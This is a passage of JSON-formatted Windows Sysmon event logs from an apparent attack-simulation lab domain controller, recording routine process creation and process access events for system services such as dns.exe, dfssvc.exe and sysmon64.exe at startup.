11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.319\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\dns.exe\r\nFileVersion: 10.0.14393.3808 (rs1_release.200707-2105)\r\nDescription: Domain Name System (DNS) Server\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dns.exe\r\nCommandLine: C:\\Windows\\system32\\dns.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=D12C4522E932461612C72B4EB7A4B3A1,SHA256=BC06AE025E1CDEF4304F0D7983A80D029B6CCBF5761EAB490847100FD161D6FA,IMPHASH=F11D7ACAC98040FCC69808598F92C5FA\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.319","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","Image":"C:\\Windows\\System32\\dns.exe","FileVersion":"10.0.14393.3808 (rs1_release.200707-2105)","Description":"Domain Name System (DNS) Server","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dns.exe","CommandLine":"C:\\Windows\\system32\\dns.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=D12C4522E932461612C72B4EB7A4B3A1,SHA256=BC06AE025E1CDEF4304F0D7983A80D029B6CCBF5761EAB490847100FD161D6FA,IMPHASH=F11D7ACAC98040FCC69808598F92C5FA","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.325\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00108F150200}\r\nProcessId: 2736\r\nImage: C:\\Windows\\sysmon64.exe\r\nFileVersion: 10.42\r\nDescription: System activity monitor\r\nProduct: Sysinternals Sysmon\r\nCompany: Sysinternals - www.sysinternals.com\r\nOriginalFileName: ?\r\nCommandLine: C:\\Windows\\sysmon64.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=384B6FC04A512CFE7A4E628942867D95,SHA256=80B110B91730729BE60C7D79C55FFF0EC893FD4CFB5F44D04C433EE8E95C5E20,IMPHASH=30777134873A03E5D01D04EDE5BEC51E\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.325","ProcessGuid":"{90617006-3FE4-5F2D-0000-00108F150200}","Image":"C:\\Windows\\sysmon64.exe","FileVersion":"10.42","Description":"System activity monitor","Product":"Sysinternals Sysmon","Company":"Sysinternals - www.sysinternals.com","OriginalFileName":"?","CommandLine":"C:\\Windows\\sysmon64.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=384B6FC04A512CFE7A4E628942867D95,SHA256=80B110B91730729BE60C7D79C55FFF0EC893FD4CFB5F44D04C433EE8E95C5E20,IMPHASH=30777134873A03E5D01D04EDE5BEC51E","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2596\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2596","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.340\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001022180200}\r\nProcessId: 2636\r\nImage: C:\\Windows\\System32\\dfssvc.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows NT Distributed File System Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dfssvc.exe\r\nCommandLine: C:\\Windows\\system32\\dfssvc.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=304155A24E5273CF68197B30112D451A,SHA256=EC48F117C47F0E4BD5F7407629CE8CF78579764A7947CA05EDC089B59B941576,IMPHASH=C8B32AEEF22A97D88BD68D70385A1B30\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.340","ProcessGuid":"{90617006-3FE4-5F2D-0000-001022180200}","Image":"C:\\Windows\\System32\\dfssvc.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows NT Distributed File System Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dfssvc.exe","CommandLine":"C:\\Windows\\system32\\dfssvc.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=304155A24E5273CF68197B30112D451A,SHA256=EC48F117C47F0E4BD5F7407629CE8CF78579764A7947CA05EDC089B59B941576,IMPHASH=C8B32AEEF22A97D88BD68D70385A1B30","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 